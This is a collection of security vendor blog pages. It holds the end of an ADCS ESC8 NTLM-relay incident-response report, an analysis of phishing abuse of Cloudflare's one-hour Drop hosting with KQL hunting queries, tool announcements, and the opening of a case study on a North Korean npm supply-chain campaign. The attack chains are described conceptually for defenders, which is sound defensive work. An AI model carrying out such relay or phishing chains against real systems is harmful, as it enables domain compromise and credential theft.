**Figure 18: After clearing the KDC's CRL cache, the revoked certificate finally fails with KDC_ERR_CLIENT_NOT_TRUSTED.**

The lesson is the reason this step gets skipped in real incidents. Revocation is the effective control for ESC8, but it is not instantaneous — a domain controller will keep honoring a revoked certificate until its cached CRL expires or is refreshed. In environments where the CRL distribution point is unreachable, the KDC fails open and the certificate keeps working indefinitely. This is exactly why ESC8 remediation cannot rely on revocation alone, and must also pull HTTP web enrollment offline, reset the affected machine account, and enforce Extended Protection.

## 15 · What you will not see by default

An honest account of the gaps is what experienced responders trust, because it matches what they actually find on real engagements.

Attacker actionDefault visibilityCoercion (MS-RPRN / MS-EVEN)None by defaultNTLM relay to CA over HTTPIIS log / 4624 onlyCertificate issuanceNo CA audit by defaultPKINIT / TGT (4768)Logged on DCDCSync (DRSUAPI)Blends into replication

![Default forensic visibility of each attacker action](/assets/blog/coercion-to-krbtgt-ntlm-relay-and-adcs-esc8-in-2026/6a62e5a1ea6c0b5f1b47ed0d_gTMkrSz2l6GvNwOierOlCA.webp)

**Figure 19: Default forensic visibility of each attacker action.**

The recurring failure on real cases is not that the artifacts are subtle. It is that CA auditing was never enabled, so the two events that prove the whole thing were never written. If you take one operational action from this report: **enable Certificate Services auditing before you need it.**

## 16 · Containment

Revocation is the step teams skip, and skipping it is why adversaries persist after a supposedly remediated incident. A stolen certificate stays valid until it is revoked or expires, and a password reset does not touch it. Revoke every certificate the attacker obtained, republish the CRL, and force the KDC's CRL cache to refresh — because until it does, the DC keeps honoring the revoked certificate. Alongside that, pull HTTP web enrollment offline until Extended Protection and HTTPS are in place, isolate the host that performed the coercion and relay, and treat the compromised DC machine account as a Tier 0 event. Its Kerberos keys can forge tickets, so plan to reset it — and if DCSync ran, rotate `krbtgt` twice and treat the whole domain's credentials as exposed.

## 17 · Eradication and hardening

Removing the conditions that made the chain viable is the real fix, and none of it depends on Microsoft's timeline.

- Put **Extended Protection for Authentication and HTTPS** on every ADCS web endpoint, or remove web enrollment entirely where nothing requires it. That is the structural fix for the HTTP relay target and the one thing ESC8 cannot survive.
- Enforce **SMB signing** across the whole domain rather than the DCs alone, and enable **LDAP signing and channel binding** on every DC — testing in audit mode before enforcing.
- Disable the **WebClient service** by Group Policy wherever WebDAV is not required, which removes the SMB signing bypass.
- Enable **NTLM auditing** through the "Restrict NTLM" policies so the traffic is visible before you block it.
- Keep ADCS reachable only from management networks.
- Move `StrongCertificateBindingEnforcement` to full enforcement once you have confirmed no legitimate certificates rely on weak mapping.
- Prioritize moving domain controllers to Server 2025, since they are the coercion target and the 2025 defaults break the classic path.
- Patch **CVE-2025-24054**, because the `.library-ms` vector needs nothing more than a user opening a folder.

The cleanest verification is a before-and-after: run `certipy find -vulnerable`, apply Extended Protection, and run it again to confirm the template is no longer flagged.

## 18 · Assessment

Microsoft's NTLM deprecation is genuine progress, and Server 2025's defaults are the strongest relay hardening in years. But a multi-year retirement of a protocol wired into every layer of the enterprise leaves the technique practical today and well into 2027 for most organizations. The offense has consistently adapted faster than the rollout. SMB relay became harder, so WebDAV coercion appeared. LDAP channel binding closed that path, so operators pivoted to ADCS HTTP endpoints that can never require signing. Certipy and Coercer have tracked every fix shipped.

The defensive task does not wait on any of that. Enable Certificate Services auditing. Learn to pivot on the certificate serial. Enforce Extended Protection, signing, and strong certificate mapping. Remove web enrollment over HTTP. The distance between deprecated and gone is exactly where this attack operates — and it is exactly where the investigation has to be ready.

## Are you exposed? — a 60-second check

**Four questions that decide whether this chain works against you.** If the answer to all four is yes, an unprivileged user in your domain is roughly ten minutes from the `krbtgt` hash today.

1. Do you run **Windows Server 2019 or 2022** domain controllers?
2. Is **ADCS web enrollment** (`/certsrv/`) reachable, over HTTP, without Extended Protection?
3. Is `StrongCertificateBindingEnforcement` **absent or set below 2** on your DCs?
4. Is **Certificate Services auditing off** — meaning a relay would leave no 4886/4887 record?

We run this exact chain against a copy of your configuration and hand you the before/after. [**Request an ADCS exposure check →**](https://www.ionsec.io/#contact)

## How IONSEC handles this

**From research to engagement.** This lab is not academic — it maps directly to how our DFIR team works a live ADCS compromise. On engagement, we treat Certificate Services auditing as a standard onboarding check, because the two events that prove the chain are the two events most estates never enabled. We reconstruct issuance-to-Kerberos linkage using the certificate-serial pivot rather than relying on source-IP fields that Event 4887 does not carry. And we deliver the `StrongCertificateBindingEnforcement` 0/1/2 test as a hardening artifact, so a client learns whether their DCs actually reject a relayed certificate — instead of assuming they do.

If your environment still runs 2019 or 2022 domain controllers with ADCS web enrollment reachable, this is a measurable exposure today. IONSEC can validate it, and rebuild the forensic timeline if it has already been used against you.

[**Talk to our IR team →**](https://www.ionsec.io/#contact)

*Tags: #DFIR #ADCS #ESC8 #NTLM-Relay #ActiveDirectory*

## Sources

[^1]: Mandiant threat hunters estimate that ~90% of their incident response engagements involve Active Directory. Mandiant / Google Cloud Security — Active Directory Security Assessment. [https://www.mandiant.com/services/active-directory-security-assessment](https://www.mandiant.com/services/active-directory-security-assessment)[^2]: Sophos Active Adversary Report 2026 — 661 IR and MDR cases (Nov 2024–Oct 2025); 67% of incidents rooted in identity-related attacks. [https://www.sophos.com/en-us/press/press-releases/sophos-active-adversary-report-2026-identity-attacks-dominate-as-threat-groups-proliferate](https://www.sophos.com/en-us/press/press-releases/sophos-active-adversary-report-2026-identity-attacks-dominate-as-threat-groups-proliferate)[^3]: Verizon 2025 Data Breach Investigations Report — credential abuse the top initial access vector (22%); stolen credentials in 88% of basic web application attacks. [https://www.verizon.com/business/resources/reports/dbir/](https://www.verizon.com/business/resources/reports/dbir/)[^4]: Check Point Research — "CVE-2025-24054, NTLM Exploit in the Wild" (patch March 11, 2025; exploitation observed from March 19; Poland/Romania campaign March 20–21). [https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/](https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/)[^5]: CISA Known Exploited Vulnerabilities Catalog — CVE-2025-24054. [https://www.cisa.gov/known-exploited-vulnerabilities-catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

---

# The 60-Minute Site: Phishing That Deletes Its Own Evidence

URL: https://www.ionsec.io/resources/cloudflare-drop-60-minute-phishing
Category: Blog
Author: IONSEC Team
Published: 2026-07-17
Tags: phishing, cloudflare, detection-engineering, threat-hunting, incident-response

Cloudflare Drop publishes a site on a trusted workers.dev address with no account, then deletes it after an hour. That one-hour fuse burns your forensic evidence with it.

## What changed, and why we're writing about it

Abuse of reputable cloud hosting for phishing is not new. What Cloudflare Drop changes is the friction — and friction is most of what stands between an opportunistic attacker and a working campaign.

Threat actors have leaned on workers.dev and pages.dev for years because pages served from Cloudflare's edge inherit a domain reputation that most URL-filtering engines are reluctant to block, arrive over valid TLS, and load fast from anywhere. Historically that still required registering an account. Drop removes the last step.

The mechanics that matter to a defender: you drag a folder or ZIP of static files into the browser, Cloudflare silently provisions a disposable sandbox account, and your content is live on a random workers.dev URL within seconds — no signup, no email, no CLI. The deployment stays public for exactly 60 minutes, then is deleted unless someone claims it into an account. Uploads are capped at 1,000 files and 25 MiB per file, and only static assets are served — no server-side code runs.

None of that is a vulnerability. It is a product working as designed. Our concern is the abuse profile that design creates, and specifically what it does to incident response timelines.

## Four things that make this attractive to an adversary

We assess the abuse potential across four dimensions. This is analysis of a new capability, not a report of a specific campaign — but each dimension maps directly onto techniques we already observe against the wider Cloudflare Workers and Pages ecosystem.

### 1. Reputation borrowing — a trusted domain for free

A phishing page on a random workers.dev subdomain rides Cloudflare's aggregate reputation. Category and newly-registered-domain filters that would flag an attacker's own domain frequently pass shared platform hosts. TLS is automatic, so there is no certificate friction and no browser warning.

### 2. Anonymity — no account, no attribution

The anonymous path provisions a throwaway sandbox account with no email and no identity verification at deploy time. There is no registrant, no billing artifact, and nothing to subpoena in the first hour. Attribution work that normally starts with account metadata starts with nothing.

### 3. Ephemerality — evidence with a half-life

The 60-minute lifetime is the sharpest edge. A campaign only needs a burst — one SMS or email wave — and the infrastructure erases itself before most takedown and IR processes have even triaged the first report.

### 4. Agentic scale — deployable by a machine

Drop can be driven programmatically, including over MCP, so an AI agent can publish sites without a human in the loop. Combined with generated phishing content, the marginal cost of a fresh, disposable, uniquely-slugged page trends toward zero.

## Why this specifically hurts incident response

Most phishing playbooks assume the malicious site outlives the investigation. You get a report, you triage, you pull the page, you extract indicators, you request a takedown, you brief the client. That sequence routinely takes hours to days — and it assumes the artifact is still there when you look.

A Drop deployment inverts that assumption. If the lure lands at 09:00, the site is gone by 10:00 whether or not anyone claimed it. By the time a SOC escalates and an analyst opens the URL, they may find nothing — no page to screenshot, no DOM to capture, no kit to fingerprint, no exfiltration endpoint to pivot on.

DFIR note — capture before you triage. The forensic value of a Drop-hosted lure decays to zero on a fixed one-hour clock. Detection cannot be the slow step. The moment a workers.dev link is flagged in mail or proxy telemetry, capture must fire automatically — full-page render, DOM, HAR, response headers, resolved IP and ASN, and a WARC — before a human ever reviews the alert. Treat the URL as a perishable exhibit.

## How an abuse chain looks end to end

Mapped conceptually to adversary stages. We deliberately omit any operational payload detail — this is the shape of the threat for defenders, not a recipe.

1. **Stage the lure (Resource Development).** A static credential-harvest page is assembled locally, often auto-generated, with exfiltration pointed at an off-platform endpoint.
2. **Publish anonymously (Acquire Infrastructure).** The folder is dropped to the service; a random workers.dev URL goes live in seconds with valid TLS and no account trail.
3. **Distribute the link (Phishing).** The URL is pushed via email, SMS, or chat. Trusted host reputation lifts deliverability past reputation-based filters.
4. **Harvest (Credential Access).** The victim submits credentials; the static page ships them to the attacker's backend via a background request.
5. **Evaporate (Defense Evasion).** At the 60-minute mark the deployment self-deletes. No takedown is needed; the infrastructure removes itself.

## Detection and threat hunting

Because the served content is plain static HTML and CSS, the reliable signals are at the network and mail layers, not on the endpoint. The queries below are illustrative starting points — tune thresholds and allow-list the workers.dev subdomains your own developers legitimately use before alerting.

### Surface inbound lures at the mail gateway (Microsoft 365 / Defender for Office 365, KQL)

```
// Inbound mail carrying Cloudflare Workers preview links
EmailUrlInfo
| where Url matches regex @"https?://[a-z0-9-]+\.workers\.dev"
| join kind=inner EmailEvents on NetworkMessageId
| where EmailDirection == "Inbound"
| summarize Recipients=dcount(RecipientEmailAddress),
            FirstSeen=min(Timestamp) by SenderFromDomain, Url, Subject
| where Recipients >= 2   // low-and-slow tuning: adjust to your baseline
```

### Catch first-contact egress before the clock runs out (Defender for Endpoint, KQL)

```
// Newly-observed workers.dev hosts users are actually visiting
DeviceNetworkEvents
| where RemoteUrl endswith ".workers.dev"
| where ActionType == "ConnectionSuccess"
| summarize Hits=count(), Devices=dcount(DeviceId),
            FirstSeen=min(Timestamp) by RemoteUrl
| where FirstSeen > ago(1h) and Devices <= 5  // rare + new = suspicious
```

### Hunting hypotheses

- **Random-slug host.** A high-entropy workers.dev label with no prior organizational history, first seen minutes after an inbound message referencing it.
- **Mail then click then POST.** A user opens a workers.dev link, then the page issues a background POST to an unrelated third-party domain — classic static-page exfiltration.
- **Short-lived resolution.** The host resolves and receives traffic for well under an hour, then goes cold. Correlate DNS first-seen with last-seen deltas.
- **Brand keywords in path.** Login, SSO, or MFA-themed paths or titles served from a platform host that has never carried your brand before.
- **Referrer clustering.** Multiple users reaching distinct random workers.dev hosts from the same SMS or email campaign inside a tight time window.

## What we recommend

Blanket-blocking workers.dev is usually not viable — legitimate SaaS and internal tooling live there too. The workable posture is fast capture, tight monitoring, and user-side resilience.

- **Automate capture on first sight.** Trigger screenshot, DOM, HAR, headers, IP/ASN, and WARC the instant a workers.dev link is flagged — not when an analyst picks it up. Beat the 60-minute clock.
- **Baseline your own usage.** Inventory the workers.dev and pages.dev hosts your developers legitimately use, then alert on everything outside that set. New plus rare is the signal.
- **Enforce phishing-resistant MFA.** The end goal is credentials. FIDO2 and passkeys neutralize the harvest even when a lure lands and a user submits.
- **Preserve mail evidence.** The email or SMS often outlives the site. Retain full headers and the original URL so the investigation survives the deployment's deletion.
- **Report fast, expect nothing.** Submit abuse to Cloudflare, but treat takedown as a formality — the one-hour expiry usually wins the race. Value the report for pattern-tracking, not remediation.
- **Brief the humans.** Update awareness training: a padlock and the word "cloudflare" in the address bar are not trust signals. Judge the request, not the host.

## A fair note on Cloudflare

Cloudflare built sensible guardrails into Drop — file and size caps, static-only serving, email verification to keep a site, and the short lifetime itself, which limits how long any single anonymous deployment can live. The same expiry that frustrates defenders also limits an attacker's dwell time on a given URL.

The point of this brief is not that Drop is dangerous software. It is that every reduction in deployment friction is also a reduction in attacker friction, and defenders should update their models the day a capability ships — not the day they catch the first campaign. For Drop, the update is simple: assume the evidence has a one-hour fuse, and build to capture inside it.

## Related: FlareInspect — Cloudflare security assessment

Worried about your own Cloudflare footprint after reading this? FlareInspect is our open-source CLI framework for auditing a Cloudflare tenant's security posture — 25+ automated checks across DNS, SSL/TLS, WAF, and Zero Trust, with integration into Cloudflare Security Center. In testing it surfaced misconfigurations traditional scanners miss, including origin IP leakage and exposed credentials. Repository: [https://github.com/ionsec/FlareInspect](https://github.com/ionsec/FlareInspect)

---

# MAES: The M365 Analyzer & Extractor Suite

URL: https://www.ionsec.io/resources/maes-the-m365-analyzer-extractor-suite
Category: Tools
Author: IONSEC Team
Published: 2025-08-20
Updated: 2026-08-07
Tags: open-source, dfir, microsoft-365, cloud-forensics

At IONSEC, we’re excited to introduce MAES: The M365 Analyzer & Extractor Suite — an open-source platform purpose-built to simplify and accelerate Microsoft 365 (M365) forensic investigations.

## Automating Microsoft 365 Forensics & Incident Response

At IONSEC, we’re excited to introduce **MAES: The M365 Analyzer & Extractor Suite** — an open-source platform purpose-built to simplify and accelerate **Microsoft 365 (M365) forensic investigations**.

MAES provides DFIR teams with the ability to **extract, analyze, and preserve** critical evidence from M365 environments — all while maintaining forensic-grade integrity.

[Video](https://player.vimeo.com/video/1110003664)

## Since Release

MAES has grown substantially since its initial launch (updated Aug 2026). Recent work focuses on hardening, real reporting, and operational visibility:

- **Real TOTP two-factor authentication** and broader RBAC hardening (role-filtered navigation, an alerts guard, `canManageIncidents` role handling) to lock down who can access what.
- **Persisted SIEM configurations and real report generation**, plus job cancellation and service-health endpoints so long extractions are observable and stoppable.
- **UEBA trend views** in the UI, alongside dead-code cleanup for a leaner codebase.
- The extractor and analyzer modules aligned to the **latest upstream suites**, with a cleared dependency audit.

## Why MAES?

Security teams often struggle with **manual, inconsistent, or incomplete evidence collection** from M365 tenants during incidents. MAES was designed to solve that gap:

- **Forensic-Ready Extraction** – Automates acquisition of M365 logs, mailboxes, SharePoint, OneDrive, and Teams artifacts.
- **Analyzer Modules** – Built-in parsers for investigating email headers, login anomalies, and suspicious activity.
- **Chain of Custody Enforcement** – Every artifact is hashed (SHA-256) and timestamped to preserve evidentiary integrity.
- **Automation Without Blind Spots** – Reduces manual effort while ensuring nothing critical is overlooked.

## Key Capabilities

![graphical user interface](/assets/blog/maes-the-m365-analyzer-extractor-suite/68a6240d3e16ea900c746094_1752179708500.webp)

- **Audit Log Collection** – Pulls Unified Audit Logs (UAL) for timeline reconstruction.
- **Mailbox & Message Extraction** – Targeted acquisition of suspicious or compromised accounts.
- **SharePoint/OneDrive Evidence** – Capture and preserve file access and modification trails.
- **Teams Activity Analysis** – Extracts chat histories and file-sharing metadata.
- **Reporting Outputs** – JSON, CSV, and HTML reports suitable for SIEM ingestion or executive summaries.

## For DFIR Practitioners, By Practitioners

MAES is built by responders who know the pain points of M365 investigations. With MAES, your team can:

- Respond faster to suspected account takeovers and insider threats
- Standardize evidence collection across cases
- Scale investigations in large tenants without losing visibility
- Share modules and workflows with the wider DFIR community

## Join the Project

We’re making MAES available as an **open-source suite**, and we invite the security community to extend, test, and improve it. Together, we can raise the bar for **Microsoft 365 forensics and incident response**.

🔗 Get started on GitHub: <https://github.com/ionsec/maes-platform>  
🎥 Watch the demo video: https://vimeo.com/1110003664

---

# Tikun13 Checker – כלי קוד פתוח לבדיקת יישום תיקון 13

URL: https://www.ionsec.io/resources/tikun13checker
Category: Tools
Author: IONSEC Team
Published: 2025-08-17
Updated: 2025-08-24
Tags: open-source, compliance, privacy, tikun-13, israel
Language: he

Tikun13 Checker הוא כלי קוד פתוח, מבוסס דפדפן, שפותח על ידי IONSEC כדי לסייע לארגונים בישראל ליישם את דרישות תיקון 13 לחוק הגנת הפרטיות.

![Tikun13 Checker – כלי קוד פתוח לבדיקת יישום תיקון 13](/assets/blog/tikun13checker/68a608b20570bbe6d741a061_ChatGPT-Image-Aug-20-2025-08_40_44-PM.webp)

**Tikun13 Checker** הוא כלי קוד פתוח, מבוסס דפדפן, שפותח על ידי IONSEC כדי לסייע לארגונים בישראל ליישם את דרישות תיקון 13 לחוק הגנת הפרטיות.  
הכלי פועל **כולו בצד הלקוח** – כלומר, ללא שרתים, ללא שליחת מידע, וללא עוגיות – מה שמבטיח פרטיות ושקיפות מלאה.

## מבנה הכלי

המערכת בנויה כיישום Web סטטי (HTML/JS), וכוללת שלושה מודולים עיקריים:

### סורק אתרים (Website Scanner)

![סורק האתרים מציג את העוגיות שזוהו ואת סיווגן](/assets/blog/tikun13checker/68a608f1112df9ffdb4f27c8_Screenshot-2025-08-20-at-20.40.22.webp)

- סורק עוגיות ומסווג אותן לפי סוג ומקור
- מזהה טפסי איסוף ושדות רגישים
- בודק קיומה ותכולתה של מדיניות פרטיות
- בוחן שימוש ב־HTTPS, הצפנה, ומעקבים מצד שלישי
- מאפשר מצב **פרטי לחלוטין** (100% בדפדפן) או מצב Proxy (לעקיפת מגבלות CORS)

### שאלון הערכה עצמית (Self Assessment)

![שאלון ההערכה העצמית של Tikun13 Checker](/assets/blog/tikun13checker/68a60901e438b865bb1f65f5_Screenshot-2025-08-20-at-20.38.41.webp)

![קטגוריות השאלון: מינוי DPO, רישום מאגרים ואבטחת מידע](/assets/blog/tikun13checker/68a6090f09cd8a2d0612f218_Screenshot-2025-08-20-at-20.38.58.webp)

![תוצאות שאלון ההערכה העצמית](/assets/blog/tikun13checker/68a6091c33d21e4c80076ebe_Screenshot-2025-08-20-at-20.39.13.webp)

- כולל מעל 40 שאלות ב־6 קטגוריות: פרופיל ארגון, מינוי DPO, רישום מאגרים, אבטחת מידע, זכויות נושאי מידע ועיבוד מידע
- מבצע חישוב ציון התאמה כולל והערכת חשיפה לקנסות
- מייצר דוח מפורט להורדה עם ליקויים ותוכנית פעולה

### בונה באנרי Cookies (Cookie Banner Builder)

![בונה באנרי העוגיות עם תצוגה מקדימה בזמן אמת](/assets/blog/tikun13checker/68a6092aede65dc13a20ea46_Screenshot-2025-08-20-at-20.39.28.webp)

- מאפשר עיצוב בזמן אמת והטמעת קוד מוכן (HTML/CSS/JS)
- כולל תבניות מוכנות, תמיכה בעברית ותאימות מלאה לדרישות תיקון 13

## עקרונות פרטיות ואבטחה

- כל העיבוד נעשה בדפדפן (Client-Side Processing)
- אין שימוש ב־Analytics, אין יצירת עוגיות נוספות
- הקוד פתוח לחלוטין (100% שקיפות)
- מנגנוני אבטחה: Content Security Policy, הגנה מפני XSS, בידוד משתמשים

## שימוש

- **Online (מומלץ):** https://tikun13.ionsec.io
- **Local:** הורדה מ־GitHub, פתיחה של index.html בדפדפן (אין תלות בשרת)

## אזהרת שימוש

Tikun13 Checker הוא כלי **למטרות חינוכיות בלבד**.  
הוא אינו מהווה ייעוץ משפטי ואינו מבטיח עמידה מלאה בדרישות החוק.  
השימוש באחריות המשתמש בלבד.

## סיכום

IONSEC, כמובילה בישראל בתגובה לאירועי סייבר ופורנזיקה דיגיטלית, מפתחת כלים בקוד פתוח שמאפשרים לקהילה להבין וליישם דרישות רגולטוריות בצורה שקופה ונגישה.  
Tikun13 Checker נועד להמחיש את הדרישות של תיקון 13 ולתת למומחי פרטיות, לאקדמיה ולארגונים כלי מעשי להתנסות ולבדיקה.

---

# DO Audit Log Scraper v2.0

URL: https://www.ionsec.io/resources/do-audit-log-scraper-v2-0
Category: Tools
Author: IONSEC Team
Published: 2025-08-11
Updated: 2026-08-07
Tags: open-source, dfir, audit-logs, digitalocean

The DO Audit Log Scraper is a Chrome/Chromium extension that enables forensic-grade audit log extraction.

### The DO Audit Log Scraper v2.0 is a browser-based tool for security, forensic, and compliance professionals. This release introduces new capabilities including forensic metadata, SHA-256 hashing, JSON export, and Manifest V3 compliance.

![DO Audit Log Scraper logo](/assets/blog/do-audit-log-scraper-v2-0/68a60bdf4ed3a7a55479657b_logo.webp)

## Since Release

The scraper has moved from v2.0 to **v2.2** (updated Aug 2026):

- **v2.1** — bug fixes, security hardening, new features, and full Sphinx documentation.
- **v2.2** — additional forensic features, further hardening, and a complete automated test suite.

## Overview

The **DO Audit Log Scraper** is a Chrome/Chromium extension that enables forensic-grade audit log extraction.  
Version 2.0 provides a significant update with features designed to strengthen integrity, support compliance workflows, and improve browser security.

## Key Use Cases

- Forensic investigations
- Security incident response and analysis
- Compliance and regulatory reporting
- Long-term audit trail preservation

Audit logs are often the most authoritative evidence for incident review and governance, making reliable extraction essential.

## New in Version 2.0

- Manifest V3 compliance, in line with the latest Chrome extension security requirements
- SHA-256 hash generation for data integrity verification
- Forensic metadata capture, including chain-of-custody timestamps
- JSON export support, in addition to CSV
- Pagination support for multi-page audit logs
- Enhanced security through strict host permissions

## Forensic-Grade Collection

The scraper captures:

- Actions performed
- User identifiers
- Source IP addresses
- UTC and local timestamps
- Forensic scrape timestamps

All processing takes place **locally in the browser**.  
There are no external servers and no data transmission outside the user’s environment. This ensures privacy, security, and evidentiary value for collected logs.

![table](/assets/blog/do-audit-log-scraper-v2-0/68a621ea5a1c54af21c56a1f_1689790311439.webp)

## Installation and Usage

1. Clone or download the [GitHub repository](https://github.com/ionsec/DO-Audit-Log-Scraper).
2. Open `chrome://extensions` in Chrome and enable Developer Mode.
3. Load the extension directory.
4. Navigate to the DigitalOcean control panel.
5. Use the extension to scrape logs and download them in CSV or JSON format.

## Open Source and Contributions

The tool is open source and available under the MIT license.  
Professionals and researchers are encouraged to contribute improvements, share feedback, and collaborate through the [GitHub repository](https://github.com/ionsec/DO-Audit-Log-Scraper).

## Disclaimer

The DO Audit Log Scraper is provided for educational, forensic, and compliance purposes only.  
It does not replace native platform capabilities and should be used responsibly within organizational policies.

## Conclusion

The **DO Audit Log Scraper v2.0** offers a practical, forensic-grade solution for security professionals.  
With integrity validation, metadata tracking, and client-side privacy by design, it supports incident response, digital forensics, and compliance teams in maintaining verifiable audit trails.

---

# FlareInspect - Cloudflare Assessment Tool

URL: https://www.ionsec.io/resources/flareinspect
Category: Tools
Author: IONSEC Team
Published: 2025-08-03
Updated: 2026-06-05
Tags: open-source, cloudflare, cloud-security, security-assessment

FlareInspect is a CLI-based assessment framework designed to revolutionize how organizations evaluate and monitor their Cloudflare security posture.

### Introducing **FlareInspect**, a command-line tool developed by IONSEC to help organizations perform in-depth security and compliance assessments of their Cloudflare configurations.

![FlareInspect logo](/assets/blog/flareinspect/68a60d179986836ba709186f_flare-inspect-logo.svg)

## Since Release

FlareInspect has shipped a major **v2.0.0** (released Jun 2026), adding agent-friendly and operational capabilities:

- **New token-less MCP server** with read-back-by-id tools, so AI agents and automation can query assessment findings without holding an API token.
- **Dashboard v2 redesign** with per-finding detail views and runtime settings.
- **Swagger API documentation** and a full **Read the Docs** site for easier integration and onboarding.

## Overview

**FlareInspect** is a CLI-based assessment framework designed to revolutionize how organizations evaluate and monitor their Cloudflare security posture.  
Built for cloud security engineers, DevSecOps teams, compliance officers, and MSPs, the tool delivers actionable insights across security, performance, and compliance domains.

## Key Features

### Comprehensive Security Assessment

- 25+ automated checks
- Coverage across DNS, SSL/TLS, WAF, Zero Trust, and performance configurations

### Security Insights Integration

Unique integration with **Cloudflare Security Center** providing real-time threat detection, including:

- Exposed credential monitoring
- Origin IP exposure detection
- SSL certificate expiration alerts
- Vulnerable software identification

### Enterprise-Ready Reporting

- Professional HTML reports with interactive charts
- OCSF-compliant JSON exports for SIEM integration
- Executive summaries with actionable insights

## Use Cases

- Cloud Security Engineers conducting posture assessments
- DevSecOps teams integrating automated checks into CI/CD workflows
- Compliance officers generating verifiable reports
- MSPs overseeing multiple Cloudflare accounts

## Real-World Impact

In testing, FlareInspect identified critical misconfigurations missed by traditional scanning tools. These included exposed credentials and origin IP leakage that could allow direct attacks on backend infrastructure.

![FlareInspect report flagging exposed credentials and origin IP leakage in a Cloudflare configuration](/assets/blog/flareinspect/68a60d46e09818e2455a8ba3_1754209665394.webp)

## Installation

FlareInspect is available via:

- **GitHub:** [FlareInspect Repository](https://github.com/ionsec/FlareInspect)
- **Docker Hub:** Pull and run directly within containerized environments

## Conclusion

FlareInspect provides a powerful, automated, and standards-aligned way to evaluate Cloudflare deployments. With integrated reporting and real-time threat detection, it delivers measurable value for security, compliance, and operations teams.

---

# Forti-DFIR: Open-Source Framework for Fortinet Forensics & Incident Response

URL: https://www.ionsec.io/resources/forti-dfir-open-source-framework-for-fortinet-forensics-incident-response
Category: Tools
Author: IONSEC Team
Published: 2025-08-01
Updated: 2026-04-14
Tags: open-source, dfir, fortinet, network-forensics, incident-response

At IONSEC, we’re proud to introduce Forti-DFIR — an open-source initiative created to give security teams the tools they need for forensic investigations and incident response in Fortinet environments.

## Filling a Critical Gap in Fortinet DFIR

At IONSEC, we’re proud to introduce **Forti-DFIR** — an open-source initiative created to give security teams the tools they need for **forensic investigations and incident response in Fortinet environments**.

While Fortinet solutions are widely deployed across enterprises, **forensic visibility and automation** remain a challenge. Forti-DFIR was designed by responders, for responders, to make investigations **faster, repeatable, and evidentiary sound**.

🔗 Explore the project on GitHub: [Forti-DFIR](https://github.com/ionsec/Forti-DFIR)

![The Forti-DFIR open-source framework](/assets/blog/forti-dfir-open-source-framework-for-fortinet-forensics-incident-response/68a6255c55c1e38ed64d5c83_1751808059256.webp)

## Since Release

Forti-DFIR has continued to evolve since launch (updated Apr 2026):

- A new **web application** (web_app v1.0.1) alongside the CLI, making investigations accessible from a browser.
- **Security hardening** and code improvements across the framework.
- **Full Sphinx/ReadTheDocs** documentation for faster onboarding and contribution.

## Why Forti-DFIR?

When investigating intrusions or misconfigurations in Fortinet products, responders often rely on **manual CLI commands** or **fragmented log exports**. This slows down investigations and introduces the risk of missed artifacts.

Forti-DFIR changes that by offering:

- **Automated Evidence Collection** – Extracts logs, configs, and artifacts from FortiGate appliances.
- **Forensic Integrity** – Uses hashing and timestamping to maintain defensibility of collected evidence.
- **Modular Workflows** – Enables responders to target specific incident types (intrusions, misconfigs, malware).
- **Cloud & On-Prem Support** – Adaptable to diverse Fortinet deployments.

## Core Capabilities

- **Log Acquisition**: Unified export of system, traffic, and event logs.
- **Configuration Snapshots**: Preserve running and saved configs for baselining.
- **Network Forensics**: Extracts session data and suspicious traffic patterns.
- **Malware Investigation Hooks**: Integrates with sandboxing for artifact enrichment.
- **Reporting Outputs**: JSON/CSV for machine analysis and HTML for human-readable summaries.

## Built for the DFIR Community

Forti-DFIR is designed for:

- **Incident Responders** handling Fortinet-targeted intrusions
- **Forensic Analysts** needing structured evidence collection
- **SOC Teams & MSPs** monitoring multi-tenant Fortinet infrastructures

By standardizing **how evidence is collected and preserved**, Forti-DFIR helps practitioners reduce dwell time, ensure compliance, and defend findings in court or audits.

## Join the Project

Forti-DFIR is a **community-driven project**. We invite practitioners, researchers, and developers to extend its capabilities, share use cases, and contribute modules.

🔗 Get started on GitHub: <https://github.com/ionsec/Forti-DFIR>

---

# When Research Meets Reality

URL: https://www.ionsec.io/resources/when-research-meets-reality
Category: Case Study
Author: IONSEC Team
Published: 2025-07-06
Tags: supply-chain, npm, threat-intelligence, incident-response

How Threat-Actor Campaigns Cast a Shadow on Legitimate npm Binaries (and What IONSEC IR Sees in the wild)

How Threat-Actor Campaigns Cast a Shadow on Legitimate npm Binaries (and What IONSEC IR Sees in the wild)

## 1 · Executive summary

- North Korea’s latest **“Contagious Interview”** supply-chain wave dropped **35 typosquatted npm packages** via **24 throw-away accounts**, each hiding a hex-encoded loader (“HexEval”) that pulls an infostealer (*BeaverTail*) and optional back-door (*InvisibleFerret*). ([**socket.dev**](http://socket.dev/))
- To reduce friction, the operators embedded three **unmodified binaries** taken from the open-source node-global-key-listener project instead of writing their own key-logger.
- Security scanners now flag those hashes as *PUA/key-logger* even when they appear in legitimate software—showing how attacker reuse can stigmatise perfectly innocent code.

## 2 · Campaign snapshot

**2025** **Jun 25** Socket publishes technical write-up on 35 malicious packages ([**socket.dev**](http://socket.dev/)) **Jun 25** BleepingComputer amplifies the findings to wider industry ([**bleepingcomputer.com**](http://bleepingcomputer.com/)) **Jun 25–Jul 05** Six packages remain live; download count tops 4 000 ([**socket.dev**](http://socket.dev/))

![Microsoft Defender detection of the malicious npm package](/assets/blog/when-research-meets-reality/68a60ed1c62519927ee21589_1751784372143.webp)

**Microsoft Defender Detection**

## 3 · Dual-use binaries: friend and foe

Platform Binary SHA-256 (legitimate & reused) Legitimate origin Windows WinKeyServer.exe e58864cc22cd8ec17ae35dd810455d604aadab7c3f145b6c53b3c261855a4bb1 node-global-key-listener v0.3.0 ([**npmjs.com**](http://npmjs.com/)) macOS MacKeyServer 30043996a56d0f6ad4ddb4186bd09ffc1050dcc352f641ce3907d35174086e15 idem Linux X11KeyServer 6e09249262d9a605180dfbd0939379bbf9f37db076980d6ffda98d650f70a16d idem

These helpers are **byte-identical** to those shipped for LaunchMenu’s productivity hot-key subsystem. The DPRK package simply copies them—turning benign utilities into IOC magnets.

![Helper binaries byte-identical to those shipped with LaunchMenu](/assets/blog/when-research-meets-reality/68a60ed1c62519927ee21586_1751784193404.webp)


## 4 · Fresh VirusTotal telemetry ( 5 Jul 2025 )

Metric Value Detection ratio **23 / 72 engines** (trojan.keylogger, PUA, RiskTool) Community score **–2** Last analysis **~1 hour ago** (auto-rescan)

